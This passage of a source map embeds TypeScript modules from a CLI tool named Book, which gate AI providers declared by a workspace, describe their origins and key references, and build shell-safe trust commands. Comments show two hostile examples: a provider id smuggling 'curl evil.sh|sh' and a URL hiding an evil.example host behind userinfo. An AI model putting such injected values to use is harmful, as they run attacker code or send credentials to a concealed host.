selectionSlots(layers)) {\n    const winner = winnerOf(layers, key);\n    if (!winner?.layer.trusted) continue;\n    const providerId = providerPrefixOf(winner.value);\n    if (providerId === undefined || !withheldIds.has(providerId)) continue;\n    unaffected.push({ key, value: winner.value, providerId, source: winner.layer.path });\n  }\n  return unaffected;\n}\n\n/** A selection the command line or the environment made, which outranks every settings layer. */\nexport interface EnvironmentSelection {\n  key: ModelSelectionKey;\n  value: string | undefined;\n  /** `--model`, `BOOK_MODEL`, … */\n  source: string;\n}\n\n/** The selections `--model` and the `BOOK_*` model variables make, in the order they outrank. */\nexport function environmentModelSelections(\n  modelOverride: string | undefined,\n  env: NodeJS.ProcessEnv = process.env,\n): EnvironmentSelection[] {\n  return [\n    {\n      key: 'model',\n      value: modelOverride || env.BOOK_MODEL,\n      source: modelOverride ? '--model' : 'BOOK_MODEL',\n    },\n    { key: 'compactModel', value: env.BOOK_COMPACT_MODEL, source: 'BOOK_COMPACT_MODEL' },\n    { key: 'advisorModel', value: env.BOOK_ADVISOR_MODEL, source: 'BOOK_ADVISOR_MODEL' },\n  ];\n}\n\n/**\n * {@link unaffectedModelSelections} as the session sees them: a selection `--model` or an\n * environment variable made replaces the settings layers' value for its key, so the layers' entry\n * for that key gives way to the one that is actually in effect.\n */\nexport function withEnvironmentSelections(\n  unaffected: readonly UnaffectedModelSelection[],\n  environment: readonly EnvironmentSelection[],\n  withheldIds: ReadonlySet<string>,\n): UnaffectedModelSelection[] {\n  const set = environment.filter((selection) => selection.value);\n  const overridden = new Set<string>(set.map((selection) => selection.key));\n  const result = unaffected.filter((selection) => !overridden.has(selection.key));\n  for (const { key, value, source } of set) {\n    const providerId = providerPrefixOf(value!);\n    if (providerId !== undefined && withheldIds.has(providerId)) {\n      result.push({ key, value: value!, providerId, source });\n    }\n  }\n  return result;\n}\n\n/** The legacy `.bookrc.json` `baseUrl`, and whether the user approved it. */\nexport interface LegacyBaseUrlGate {\n  baseUrl: string;\n  state: WorkspaceProviderState;\n}\n\n/**\n * What the provider gate did to one resolution (#418), for the config that carries it and for the\n * hosts that report it. Computed from the layer files themselves, never read back from a settings\n * key a workspace layer could write. Build one with {@link createWorkspaceProviderGate}.\n */\nexport interface WorkspaceProviderGate {\n  /** Provider ids only workspace layers define: they never inherit a key. */\n  declared: string[];\n  /** The subset of {@link declared} that is withheld (pending, rejected or reserved). */\n  withheld: string[];\n  /** The same ids sorted by the user's decision on the declaration as written. */\n  partition: WorkspaceProviderPartition;\n  /** Origin, key and protocol overrides a workspace layer wrote for a trusted provider; dropped. */\n  droppedOverrides: DroppedProviderOverride[];\n  /** Model selections that fell back to the trusted layers' value. */\n  withheldSelections: WithheldModelSelection[];\n  /** The user's own selections that name only a withheld provider, and so are unaffected. */\n  unaffectedSelections: UnaffectedModelSelection[];\n  /** The legacy `.bookrc.json` `baseUrl`, when the workspace has one. */\n  legacyBaseUrl?: LegacyBaseUrlGate;\n}\n\n/**\n * The one constructor of a gate: `declared` and `withheld` are derived from the partition here,\n * so they cannot name different providers than the partition sorts.\n */\nexport function createWorkspaceProviderGate(parts: {\n  partition: WorkspaceProviderPartition;\n  droppedOverrides?: DroppedProviderOverride[];\n  withheldSelections?: WithheldModelSelection[];\n  unaffectedSelections?: UnaffectedModelSelection[];\n  legacyBaseUrl?: LegacyBaseUrlGate;\n}): WorkspaceProviderGate {\n  return {\n    declared: declaredProviderIds(parts.partition),\n    withheld: withheldProviderIds(parts.partition),\n    partition: parts.partition,\n    droppedOverrides: parts.droppedOverrides ?? [],\n    withheldSelections: parts.withheldSelections ?? [],\n    unaffectedSelections: parts.unaffectedSelections ?? [],\n    legacyBaseUrl: parts.legacyBaseUrl,\n  };\n}\n\n/** The most of an untrusted value a line shows: enough for any real host, path or name. */\nconst DISCLOSURE_LIMIT = 1024;\n\n/**\n * How a declared origin reads in a disclosure: its parsed protocol, host and port, in full, never\n * the text as written. The written text can hide the real host behind a long run of characters\n * (`https://api.openai.com:` + filler + `@evil.example`), which a truncating renderer then cuts\n * off. A URL carrying userinfo, or not parsing as a URL at all, is flagged.\n */\nexport function describeOrigin(raw: string | undefined): string {\n  if (raw === undefined) return '(no baseURL: the default endpoint)';\n  let url: URL;\n  try {\n    url = new URL(raw);\n  } catch {\n    return `${renderUntrustedText(raw)} [!] not a valid URL`;\n  }\n  const origin = renderUntrustedText(`${url.protocol}//${url.host}`, DISCLOSURE_LIMIT);\n  return url.username !== '' || url.password !== ''\n    ? `${origin} [!] the URL has userinfo before the host; requests go to the host shown`\n    : origin;\n}\n\n/**\n * How a declared `apiKey` reads in a disclosure: the variable an `{env:…}` reference names, the\n * file a `{file:…}` reference opens (normalised: `~` expanded and `..` resolved, in full), or a\n * note that a literal is present. Never a resolved value, and a literal is never echoed: it may\n * be a real credential.\n */\nexport function describeApiKeyDeclaration(apiKey: string | undefined, workspace: string): string {\n  if (apiKey === undefined) return 'none';\n  const reference = parseSecretReference(apiKey);\n  if (reference.kind === 'env') {\n    const name = renderUntrustedText(reference.name, DISCLOSURE_LIMIT);\n    return /^[A-Za-z_][A-Za-z0-9_]*$/.test(reference.name)\n      ? `environment variable ${name}`\n      : `environment variable ${name} [!] not a valid variable name`;\n  }\n  if (reference.kind === 'file') {\n    const file = resolveSecretFilePath(reference.path, workspace);\n    const path = renderUntrustedText(file.path, DISCLOSURE_LIMIT);\n    return file.readable\n      ? `file ${path}`\n      : `file ${path} [!] outside the workspace, so it would not be read`;\n  }\n  return 'a literal key (not shown)';\n}\n\n/** One provider as a decision is asked for it: id, declared origin and key reference. */\nexport function describeWorkspaceProvider(\n  entry: WorkspaceProviderEntry,\n  workspace: string,\n  routed: readonly UnaffectedModelSelection[] = [],\n): string[] {\n  const origin = entry.declaration.baseURL ?? entry.declaration.baseUrl;\n  const lines = [\n    `${renderUntrustedText(entry.id, 64)}  ${describeOrigin(origin)}  ` +\n      `key: ${describeApiKeyDeclaration(entry.declaration.apiKey, workspace)}`,\n  ];\n  if (routed.length > 0) {\n    const named = routed\n      .map(\n        (selection) =>\n          `${selection.key} \"${renderUntrustedText(selection.value)}\" ` +\n          `(from ${renderUntrustedText(selection.source)})`,\n      )\n      .join(', ');\n    lines.push(\n      `[!] approving it also routes your own selections with this prefix to ${describeOrigin(origin)}: ` +\n        `${named}`,\n    );\n  }\n  return lines;\n}\n\n/** What approving a legacy `baseUrl` would send there; see {@link describeLegacyBaseUrl}. */\nexport interface LegacyApprovalContext {\n  /** The resolved providers: the user's, and any approved workspace ones. */\n  providers: Readonly<Record<string, ProviderDeclaration>>;\n  workspace: string;\n}\n\n/**\n * The legacy `baseUrl` as a decision is asked for it. An approved one becomes the default\n * endpoint (`defaultBaseUrl`), so the disclosure names everything the default endpoint receives:\n * `BOOK_API_KEY`, the key of every provider that sets no `baseURL` of its own, and every model id\n * that names no provider.\n */\nexport function describeLegacyBaseUrl(baseUrl: string, context?: LegacyApprovalContext): string[] {\n  const lines = [\n    `${LEGACY_BASE_URL_ID}  ${describeOrigin(baseUrl)}  would become the default endpoint`,\n  ];\n  lines.push('  approving it sends there: BOOK_API_KEY');\n  if (context) {\n    const keyless = Object.entries(context.providers)\n      .filter(([, provider]) => provider.baseURL === undefined && provider.baseUrl === undefined)\n      .sort(([a], [b]) => a.localeCompare(b))\n      .map(\n        ([id, provider]) =>\n          `${renderUntrustedText(id, 64)} (key: ${describeApiKeyDeclaration(provider.apiKey, context.workspace)})`,\n      );\n    lines.push(\n      keyless.length === 0\n        ? '  approving it sends there: no provider key (every configured provider sets its own baseURL)'\n        : `  approving it sends there: the requests and key of each provider with no baseURL: ${keyless.join(', ')}`,\n    );\n  }\n  lines.push(\n    '  approving it sends there: every plain model id (gpt-4o) and every <vendor>/<model> id that names no configured provider',\n  );\n  return lines;\n}\n\n/** One dropped override as a report reads it, without a leading marker. */\nexport function describeDroppedOverride(dropped: DroppedProviderOverride): string {\n  return (\n    `${dropped.keys.join(', ')} for provider \"${renderUntrustedText(dropped.providerId, 64)}\" in ` +\n    `${renderUntrustedText(dropped.path)} ignored: you defined that provider yourself, so a ` +\n    'workspace file cannot change where its key goes or how it is sent. `book trust provider` ' +\n    'does not apply to it; to use another origin, key or type, set it in your own settings ' +\n    '(~/.book/settings.json).'\n  );\n}\n\n/** One withheld model selection as a report reads it, without a leading marker. */\nexport function describeWithheldSelection(selection: WithheldModelSelection): string {\n  const id = renderUntrustedText(selection.providerId, 64);\n  const instead =\n    selection.fallback === undefined\n      ? 'the trusted settings set none, so the default applies'\n      : `\"${renderUntrustedText(selection.fallback)}\" is used instead`;\n  return (\n    `${selection.key} \"${renderUntrustedText(selection.value)}\" from ` +\n    `${renderUntrustedText(selection.path)} ignored: it names the workspace provider \"${id}\", ` +\n    `which is not approved; ${instead}.`\n  );\n}\n\n/** One unaffected selection as a report reads it, without a leading marker. */\nexport function describeUnaffectedSelection(selection: UnaffectedModelSelection): string {\n  const id = renderUntrustedText(selection.providerId, 64);\n  return (\n    `provider \"${id}\" declared by the workspace is withheld; your ${selection.key} ` +\n    `\"${renderUntrustedText(selection.value)}\" (from ${renderUntrustedText(selection.source)}) ` +\n    'is unaffected and resolves as it would had the workspace not declared that provider.'\n  );\n}\n\n/** A provider the workspace named with the reserved legacy id, as a report reads it. */\nexport function describeReservedProvider(entry: WorkspaceProviderEntry): string {\n  return (\n    `workspace provider \"${renderUntrustedText(entry.id, 64)}\" from ` +\n    `${entry.layers.map((layer) => renderUntrustedText(layer)).join(', ')} ignored: that id is ` +\n    `reserved for the decision about a legacy ${LEGACY_BASE_URL_ID} baseUrl, so it can never be ` +\n    'approved. Rename the provider.'\n  );\n}\n\n/**\n * Why a request on `rawModel` may not be made: its provider is declared by the workspace and the\n * user has not approved it. The id is repository-authored text on its way to a terminal, and into\n * a command the user may paste: the command is built by {@link providerTrustCommand}.\n */\nexport function workspaceProviderRefusal(\n  providerId: string,\n  rawModel: string,\n  workspace: string,\n): string {\n  const id = renderUntrustedText(providerId, 64);\n  const { command, note } = providerTrustCommand(workspace, providerId);\n  return (\n    `Model \"${renderUntrustedText(rawModel)}\" names provider \"${id}\", which is declared by the ` +\n    `workspace and has not been approved. It needs \\`${command}\\`${note} before Book ` +\n    'sends it a request or resolves its key.'\n  );\n}\n\n/**\n * What resolving a model on a withheld workspace provider throws. A class of its own so a caller\n * that otherwise tolerates a model it cannot resolve (a managed-agent spawn defers that to the\n * run) can tell this one apart: it is a decision waiting for the user, not a typo.\n */\nexport class WorkspaceProviderRefusalError extends Error {\n  constructor(\n    readonly providerId: string,\n    rawModel: string,\n    workspace: string,\n  ) {\n    super(workspaceProviderRefusal(providerId, rawModel, workspace));\n    this.name = 'WorkspaceProviderRefusalError';\n  }\n}\n\n/**\n * Record an approve/reject decision for one workspace-declared provider (or, under\n * {@link LEGACY_BASE_URL_ID}, a legacy `baseUrl`), leaving every other recorded decision — in this\n * workspace and in every other — untouched.\n */\nexport function persistWorkspaceProviderChoice(\n  workspace: string,\n  id: string,\n  fingerprint: string,\n  choice: WorkspaceProviderChoice['choice'],\n  storePath?: string,\n): { ok: boolean; error?: string } {\n  return updateWorkspaceTrust(\n    workspace,\n    (trust) => {\n      trust.workspaceProviders[id] = { fingerprint, choice } satisfies WorkspaceProviderChoice;\n    },\n    storePath,\n  );\n}\n","/**\n * How a settings `apiKey` reads: a literal, an `{env:VAR}` reference or a `{file:path}` reference.\n *\n * One parser for the code that resolves a key (`config.ts`) and the disclosure that tells the user\n * what an approval would let Book read (`provider-approvals.ts`), so what is shown is what is\n * opened: the same pattern, and the same normalisation of the path.\n */\nimport { homedir } from 'os';\nimport { isAbsolute, join, relative, resolve } from 'path';\n\nexport type SecretReference =\n  { kind: 'env'; name: string } | { kind: 'file'; path: string } | { kind: 'literal' };\n\n/** Classify a declared key without reading anything. */\nexport function parseSecretReference(raw: string): SecretReference {\n  const envMatch = raw.match(/^\\{env:([^}]+)\\}$/);\n  if (envMatch) return { kind: 'env', name: envMatch[1] };\n  const fileMatch = raw.match(/^\\{file:([^}]+)\\}$/);\n  if (fileMatch) return { kind: 'file', path: fileMatch[1] };\n  return { kind: 'literal' };\n}\n\n/** The file a `{file:…}` reference names, normalised, and whether Book would read it. */\nexport interface ResolvedSecretFile {\n  /** Absolute, with `~` expanded and `.` / `..` segments resolved. */\n  path: string;\n  /** False for a relative path that leaves the workspace: it is refused, never opened. */\n  readable: boolean;\n}\n\n/**\n * Resolve the path of a `{file:…}` reference: `~/` is the home directory, an absolute path stays\n * as written, and a relative one is rooted at the workspace and must stay inside it.\n */\nexport function resolveSecretFilePath(reference: string, workspace: string): ResolvedSecretFile {\n  if (reference.startsWith('~/')) {\n    return { path: join(homedir(), reference.slice(2)), readable: true };\n  }\n  if (isAbsolute(reference)) return { path: resolve(reference), readable: true };\n  const root = resolve(workspace);\n  const path = resolve(root, reference);\n  const rel = relative(root, path);\n  return { path, readable: !(rel.startsWith('..') || isAbsolute(rel)) };\n}\n","/**\n * The `book trust …` command lines Book suggests, built so that pasting one into a shell cannot\n * run anything the user did not read.\n *\n * Some of what a suggestion names is repository-authored: a provider id is any JSON key a\n * checked-in settings file writes, so an id like `x $(curl evil.sh|sh)` pasted bare into\n * \"Run `book trust provider <id>`\" would hand the user a command that runs the repository's shell\n * when copied. Every host that prints a trust command (doctor, the withheld-declaration notices,\n * the refusal errors, the `book trust` listing) builds it here.\n *\n * This lives outside `cli/` because the notices and the config loader print these commands too,\n * and non-CLI code may not import `cli/`.\n */\nimport { resolve } from 'path';\nimport { renderUntrustedText } from './hook-approvals.js';\n\n/** Characters every supported shell passes through without quoting. */\nconst SHELL_SAFE_BARE = /^[A-Za-z0-9_@%+=:,./\\\\-]+$/;\n\n/**\n * Render one argument for a command the user will paste into their own shell.\n *\n * It has to survive both a POSIX shell and `cmd.exe`, where single quotes are literal — the\n * reason the old `book config set … '<json>'` suggestion reached validation as a string on\n * Windows and failed. Double quotes are the one form both accept, so anything needing quotes gets\n * those; a value carrying a character neither can quote verbatim gets no one-liner at all.\n */\nexport function shellArgument(value: string): string | null {\n  if (SHELL_SAFE_BARE.test(value)) return value;\n  // `\"`, a backtick and `$` expand inside double quotes; `!` expands history in an interactive\n  // bash; a control character (an escape sequence, a newline) is not something to paste.\n  if (/[\"`$!\\u0000-\\u001f\\u007f-\\u009f]/.test(value) || value.endsWith('\\\\')) return null;\n  return `\"${value}\"`;\n}\n\n/**\n * What a provider id may be for its name to go on a command line: the safe-bare characters minus\n * the backslash and `%` (cmd.exe expands `%VAR%` even inside quotes), and a space. An id is\n * repository-authored, so this is a whitelist, not the blacklist {@link shellArgument} applies\n * to a path the user chose.\n */\nconst PASTEABLE_PROVIDER_ID = /^[A-Za-z0-9_@+=:,./ -]+$/;\n\n/**\n * A `book trust …` command targeting `workspace`, or null when the path cannot be quoted safely.\n *\n * `book trust` defaults to `process.cwd()`, so a suggestion printed for a run launched with\n * `-w /repo` from another directory would otherwise record the decision in the wrong project.\n * `--workspace` is added whenever the workspace is not the current directory.\n */\nexport function trustCommandLine(workspace: string, rest: string): string | null {\n  if (resolve(workspace) === resolve(process.cwd())) return `book trust ${rest}`;\n  const quoted = shellArgument(workspace);\n  return quoted === null ? null : `book trust ${rest} --workspace ${quoted}`;\n}\n\n/** A suggested command, and what to add after it when the path defeated quoting. */\nexport interface TrustCommandText {\n  /** The command, without backticks. */\n  command: string;\n  /** Empty, or a parenthetical naming the directory to run it from. */\n  note: string;\n}\n\n/** {@link trustCommandLine}, with the fallback a caller prints when the workspace path defeats it. */\nexport function trustCommandText(workspace: string, rest: string): TrustCommandText {\n  const command = trustCommandLine(workspace, rest);\n  return command === null\n    ? { command: `book trust ${rest}`, note: ` (run it from ${renderUntrustedText(workspace)})` }\n    : { command, note: '' };\n}\n\n/**\n * The `book trust provider` command for one provider id, or for the listing when no id is given\n * or the id cannot be pasted safely.\n *\n * A provider id is repository-authored. One a shell would interpret (`$`, a backtick, a quote,\n * a newline) or an option parser would (a leading `-`) is never put on the command line: the\n * command then lists what is awaiting a decision instead, and the user approves by typing the id\n * themselves after reading it.\n */\nexport function providerTrustCommand(workspace: string, providerId?: string): TrustCommandText {\n  const quoted =\n    providerId === undefined ||\n    providerId.startsWith('-') ||\n    !PASTEABLE_PROVIDER_ID.test(providerId)\n      ? null\n      : shellArgument(providerId);\n  return trustCommandText(workspace, quoted === null ? 'provider' : `provider ${quoted}`);\n}\n"],"mappings":";;;;;;;;AAwBA,SAAS,kBAAkB;;;ACjB3B,SAAS,eAAe;AACxB,SAAS,YAAY,MAAM,UAAU,eAAe;AAM7C,SAAS,qBAAqB,KAA8B;AACjE,QAAM,WAAW,IAAI,MAAM,mBAAmB;AAC9C,MAAI,SAAU,QAAO,EAAE,MAAM,OAAO,MAAM,SAAS,CAAC,EAAE;AACtD,QAAM,YAAY,IAAI,MAAM,oBAAoB;AAChD,MAAI,UAAW,QAAO,EAAE,MAAM,QAAQ,MAAM,UAAU,CAAC,EAAE;AACzD,SAAO,EAAE,MAAM,UAAU;AAC3B;AAcO,SAAS,sBAAsB,WAAmB,WAAuC;AAC9F,MAAI,UAAU,WAAW,IAAI,GAAG;AAC9B,WAAO,EAAE,MAAM,KAAK,QAAQ,GAAG,UAAU,MAAM,CAAC,CAAC,GAAG,UAAU,KAAK;AAAA,EACrE;AACA,MAAI,WAAW,SAAS,EAAG,QAAO,EAAE,MAAM,QAAQ,SAAS,GAAG,UAAU,KAAK;AAC7E,QAAM,OAAO,QAAQ,SAAS;AAC9B,QAAM,OAAO,QAAQ,MAAM,SAAS;AACpC,QAAM,MAAM,SAAS,MAAM,IAAI;AAC/B,SAAO,EAAE,MAAM,UAAU,EAAE,IAAI,WAAW,IAAI,KAAK,WAAW,GAAG,GAAG;AACtE;;;AC9BA,SAAS,WAAAA,gBAAe;AAIxB,IAAM,kBAAkB;AAUjB,SAAS,cAAc,OAA8B;AAC1D,MAAI,gBAAgB,KAAK,KAAK,EAAG,QAAO;AAGxC,MAAI,mCAAmC,KAAK,KAAK,KAAK,MAAM,SAAS,IAAI,EAAG,QAAO;AACnF,SAAO,IAAI,KAAK;AAClB;AAQA,IAAM,wBAAwB;AASvB,SAAS,iBAAiB,WAAmB,MAA6B;AAC/E,MAAIC,SAAQ,SAAS,MAAMA,SAAQ,QAAQ,IAAI,CAAC,EAAG,QAAO,cAAc,IAAI;AAC5E,QAAM,SAAS,cAAc,SAAS;AACtC,SAAO,WAAW,OAAO,OAAO,cAAc,IAAI,gBAAgB,MAAM;AAC1E;AAWO,SAAS,iBAAiB,WAAmB,MAAgC;AAClF,QAAM,UAAU,iBAAiB,WAAW,IAAI;AAChD,SAAO,YAAY,OACf,EAAE,SAAS,cAAc,IAAI,IAAI,MAAM,iBAAiB,oBAAoB,SAAS,CAAC,IAAI,IAC1F,EAAE,SAAS,MAAM,GAAG;AAC1B;AAWO,SAAS,qBAAqB,WAAmB,YAAuC;AAC7F,QAAM,SACJ,eAAe,UACf,WAAW,WAAW,GAAG,KACzB,CAAC,sBAAsB,KAAK,UAAU,IAClC,OACA,cAAc,UAAU;AAC9B,SAAO,iBAAiB,WAAW,WAAW,OAAO,aAAa,YAAY,MAAM,EAAE;AACxF;;;AF/CO,IAAM,qBAAqB;AAQ3B,IAAM,2BAA2B,CAAC,WAAW,WAAW,UAAU,MAAM;AAG/E,SAAS,SAAS,IAAqB;AACrC,SAAO,OAAO;AAChB;AAEA,SAAS,cAAc,OAAkD;AACvE,SAAO,OAAO,UAAU,YAAY,UAAU,QAAQ,CAAC,MAAM,QAAQ,KAAK;AAC5E;AAQO,SAAS,6BAA6B,OAAoC;AAC/E,QAAM,YAAY,KAAK,UAAU;AAAA,IAC/B,MAAM,MAAM,QAAQ;AAAA,IACpB,QAAQ,MAAM,WAAW,MAAM,WAAW;AAAA,IAC1C,QAAQ,MAAM,UAAU;AAAA,EAC1B,CAAC;AACD,SAAO,WAAW,QAAQ,EAAE,OAAO,SAAS,EAAE,OAAO,KAAK,EAAE,MAAM,GAAG,EAAE;AACzE;AAGO,SAAS,yBAAyB,SAAyB;AAChE,SAAO,WAAW,QAAQ,EAAE,OAAO,KAAK,UAAU,EAAE,QAAQ,CAAC,CAAC,EAAE,OAAO,KAAK,EAAE,MAAM,GAAG,EAAE;AAC3F;AAIA,SAAS,iBACP,WACA,IACA,aACwB;AACxB,MAAI,CAAC,aAAa,CAAC,OAAO,OAAO,WAAW,EAAE,EAAG,QAAO;AACxD,QAAM,WAAW,UAAU,EAAE;AAC7B,SAAO,SAAS,gBAAgB,cAAc,SAAS,SAAS;AAClE;AAMO,SAAS,sBACd,WACA,SACwB;AACxB,SAAO,iBAAiB,WAAW,oBAAoB,yBAAyB,OAAO,CAAC;AAC1F;AASO,SAAS,cAAc,QAAkE;AAC9F,QAAM,MAAM,oBAAI,IAAY;AAC5B,aAAW,SAAS,QAAQ;AAC1B,eAAW,MAAM,OAAO,KAAK,MAAM,aAAa,CAAC,CAAC,EAAG,KAAI,SAAS,EAAE,EAAG,KAAI,IAAI,EAAE;AAAA,EACnF;AACA,SAAO;AACT;AAcO,SAAS,yBACd,iBACA,YAC2B;AAC3B,QAAM,UAAqC,CAAC;AAC5C,aAAW,SAAS,iBAAiB;AACnC,eAAW,CAAC,YAAY,KAAK,KAAK,OAAO,QAAQ,MAAM,aAAa,CAAC,CAAC,GAAG;AACvE,UAAI,CAAC,WAAW,IAAI,UAAU,KAAK,CAAC,cAAc,KAAK,EAAG;AAC1D,YAAM,OAAO,yBAAyB,OAAO,CAAC,QAAQ,MAAM,GAAG,MAAM,MAAS;AAC9E,UAAI,KAAK,SAAS,EAAG,SAAQ,KAAK,EAAE,MAAM,MAAM,MAAM,YAAY,KAAK,CAAC;AAAA,IAC1E;AAAA,EACF;AACA,SAAO;AACT;AAOO,SAAS,kCACd,WACA,YACqC;AACrC,QAAM,OAA4C,CAAC;AACnD,aAAW,CAAC,IAAI,KAAK,KAAK,OAAO,QAAQ,SAAS,GAAG;AACnD,QAAI,CAAC,WAAW,IAAI,EAAE,KAAK,CAAC,SAAS,EAAE,KAAK,CAAC,cAAc,KAAK,EAAG;AACnE,UAAM,OAA4B,EAAE,GAAG,MAAM;AAC7C,eAAW,OAAO,yBAA0B,QAAO,KAAK,GAAG;AAC3D,SAAK,EAAE,IAAI;AAAA,EACb;AACA,SAAO;AACT;AAEA,SAAS,iBACP,MACA,UACyB;AACzB,QAAM,SAAS,gBAAgB,IAAI;AACnC,aAAW,CAAC,KAAK,KAAK,KAAK,OAAO,QAAQ,QAAQ,GAAG;AACnD,QAAI,UAAU,UAAa,QAAQ,YAAa;AAChD,UAAM,WAAW,OAAO,GAAG;AAC3B,WAAO,GAAG,IACR,cAAc,KAAK,KAAK,cAAc,QAAQ,IAC1C,iBAAiB,UAAU,KAAK,IAChC,gBAAgB,KAAK;AAAA,EAC7B;AACA,SAAO;AACT;AA2BO,SAAS,kCAA8D;AAC5E,SAAO,EAAE,UAAU,CAAC,GAAG,SAAS,CAAC,GAAG,UAAU,CAAC,GAAG,UAAU,CAAC,EAAE;AACjE;AASO,SAAS,4BACd,iBACA,YACA,WAC4B;AAC5B,QAAM,SAAS,oBAAI,IAAwE;AAC3F,aAAW,SAAS,iBAAiB;AACnC,eAAW,CAAC,IAAI,KAAK,KAAK,OAAO,QAAQ,MAAM,aAAa,CAAC,CAAC,GAAG;AAC/D,UAAI,WAAW,IAAI,EAAE,KAAK,CAAC,SAAS,EAAE,KAAK,CAAC,cAAc,KAAK,EAAG;AAClE,YAAM,WAAW,OAAO,IAAI,EAAE,KAAK,EAAE,aAAa,CAAC,GAAG,QAAQ,CAAC,EAAE;AACjE,eAAS,cAAc,iBAAiB,SAAS,aAAa,KAAK;AACnE,eAAS,OAAO,KAAK,MAAM,IAAI;AAC/B,aAAO,IAAI,IAAI,QAAQ;AAAA,IACzB;AAAA,EACF;AAEA,QAAM,YAAY,gCAAgC;AAClD,aAAW,CAAC,IAAI,EAAE,aAAa,OAAO,CAAC,KAAK,QAAQ;AAClD,UAAM,QAAQ;AACd,UAAM,cAAc,6BAA6B,KAAK;AACtD,UAAM,QAAgC,EAAE,IAAI,aAAa,OAAO,aAAa,OAAO;AACpF,QAAI,OAAO,mBAAoB,WAAU,SAAS,KAAK,KAAK;AAAA,QACvD,WAAU,iBAAiB,WAAW,IAAI,WAAW,CAAC,EAAE,KAAK,KAAK;AAAA,EACzE;AACA,SAAO;AACT;AAGO,SAAS,oBAAoB,WAAiD;AACnF,SAAO;AAAA,IACL,GAAG,UAAU;AAAA,IACb,GAAG,UAAU;AAAA,IACb,GAAG,UAAU;AAAA,IACb,GAAG,UAAU;AAAA,EACf,EAAE,IAAI,CAAC,UAAU,MAAM,EAAE;AAC3B;AAGO,SAAS,oBAAoB,WAAiD;AACnF,SAAO,CAAC,GAAG,UAAU,SAAS,GAAG,UAAU,UAAU,GAAG,UAAU,QAAQ,EAAE;AAAA,IAC1E,CAAC,UAAU,MAAM;AAAA,EACnB;AACF;AAGO,IAAM,uBAAuB,CAAC,SAAS,gBAAgB,cAAc;AAIrE,SAAS,gBAAgB,SAAyB;AACvD,SAAO,mBAAmB,OAAO;AACnC;AAGO,SAAS,kBAAkB,KAAiC;AACjE,SAAO,kCAAkC,KAAK,GAAG,IAAI,CAAC;AACxD;AAeO,SAAS,kBACd,UAC6C;AAC7C,QAAM,aAA0D,CAAC;AACjE,aAAW,OAAO,qBAAsB,YAAW,GAAG,IAAI,SAAS,GAAG;AACtE,QAAM,WAAW,cAAc,SAAS,MAAM,IAAI,SAAS,OAAO,WAAW;AAC7E,MAAI,cAAc,QAAQ,GAAG;AAC3B,eAAW,CAAC,MAAM,OAAO,KAAK,OAAO,QAAQ,QAAQ,GAAG;AACtD,UAAI,CAAC,SAAS,IAAI,KAAK,CAAC,cAAc,OAAO,EAAG;AAChD,UAAI,OAAO,QAAQ,UAAU,SAAU,YAAW,gBAAgB,IAAI,CAAC,IAAI,QAAQ;AAAA,IACrF;AAAA,EACF;AACA,SAAO;AACT;AAyCO,SAAS,iBAAiB,OAAmC;AAClE,QAAM,UAAU,MAAM,KAAK;AAC3B,QAAM,QAAQ,QAAQ,QAAQ,GAAG;AACjC,SAAO,QAAQ,IAAI,QAAQ,MAAM,GAAG,KAAK,IAAI;AAC/C;AASA,SAAS,eAAe,QAAkD;AACxE,QAAM,QAAQ,IAAI,IAAY,oBAAoB;AAClD,aAAW,SAAS,OAAQ,YAAW,OAAO,OAAO,KAAK,MAAM,UAAU,EAAG,OAAM,IAAI,GAAG;AAC1F,SAAO,CAAC,GAAG,KAAK;AAClB;AAGA,SAAS,SACP,QACA,KAC6B;AAC7B,MAAI;AACJ,MAAI;AACJ,aAAW,SAAS,QAAQ;AAC1B,UAAM,QAAQ,MAAM,WAAW,GAAG;AAClC,QAAI,UAAU,OAAW;AACzB,QAAI,MAAM,QAAS,gBAAe;AAClC,aAAS,EAAE,OAAO,MAAM;AAAA,EAC1B;AACA,SAAO,UAAU,EAAE,GAAG,QAAQ,aAAa;AAC7C;AAUO,SAAS,wBACd,QACA,aAC0B;AAC1B,QAAM,WAAqC,CAAC;AAC5C,aAAW,OAAO,eAAe,MAAM,GAAG;AACxC,UAAM,SAAS,SAAS,QAAQ,GAAG;AACnC,QAAI,CAAC,UAAU,OAAO,MAAM,QAAS;AACrC,UAAM,aAAa,iBAAiB,OAAO,KAAK;AAChD,QAAI,eAAe,UAAa,CAAC,YAAY,IAAI,UAAU,EAAG;AAC9D,aAAS,KAAK;AAAA,MACZ;AAAA,MACA,OAAO,OAAO;AAAA,MACd;AAAA,MACA,MAAM,OAAO,MAAM;AAAA,MACnB,UAAU,OAAO;AAAA,IACnB,CAAC;AAAA,EACH;AACA,SAAO;AACT;AAOO,SAAS,0BACd,QACA,aAC4B;AAC5B,QAAM,aAAyC,CAAC;AAChD,aAAW,OAAO,eAAe,MAAM,GAAG;AACxC,UAAM,SAAS,SAAS,QAAQ,GAAG;AACnC,QAAI,CAAC,QAAQ,MAAM,QAAS;AAC5B,UAAM,aAAa,iBAAiB,OAAO,KAAK;AAChD,QAAI,eAAe,UAAa,CAAC,YAAY,IAAI,UAAU,EAAG;AAC9D,eAAW,KAAK,EAAE,KAAK,OAAO,OAAO,OAAO,YAAY,QAAQ,OAAO,MAAM,KAAK,CAAC;AAAA,EACrF;AACA,SAAO;AACT;AAWO,SAAS,2BACd,eACA,MAAyB,QAAQ,KACT;AACxB,SAAO;AAAA,IACL;AAAA,MACE,KAAK;AAAA,MACL,OAAO,iBAAiB,IAAI;AAAA,MAC5B,QAAQ,gBAAgB,YAAY;AAAA,IACtC;AAAA,IACA,EAAE,KAAK,gBAAgB,OAAO,IAAI,oBAAoB,QAAQ,qBAAqB;AAAA,IACnF,EAAE,KAAK,gBAAgB,OAAO,IAAI,oBAAoB,QAAQ,qBAAqB;AAAA,EACrF;AACF;AAOO,SAAS,0BACd,YACA,aACA,aAC4B;AAC5B,QAAM,MAAM,YAAY,OAAO,CAAC,cAAc,UAAU,KAAK;AAC7D,QAAM,aAAa,IAAI,IAAY,IAAI,IAAI,CAAC,cAAc,UAAU,GAAG,CAAC;AACxE,QAAM,SAAS,WAAW,OAAO,CAAC,cAAc,CAAC,WAAW,IAAI,UAAU,GAAG,CAAC;AAC9E,aAAW,EAAE,KAAK,OAAO,OAAO,KAAK,KAAK;AACxC,UAAM,aAAa,iBAAiB,KAAM;AAC1C,QAAI,eAAe,UAAa,YAAY,IAAI,UAAU,GAAG;AAC3D,aAAO,KAAK,EAAE,KAAK,OAAe,YAAY,OAAO,CAAC;AAAA,IACxD;AAAA,EACF;AACA,SAAO;AACT;AAkCO,SAAS,4BAA4B,OAMlB;AACxB,SAAO;AAAA,IACL,UAA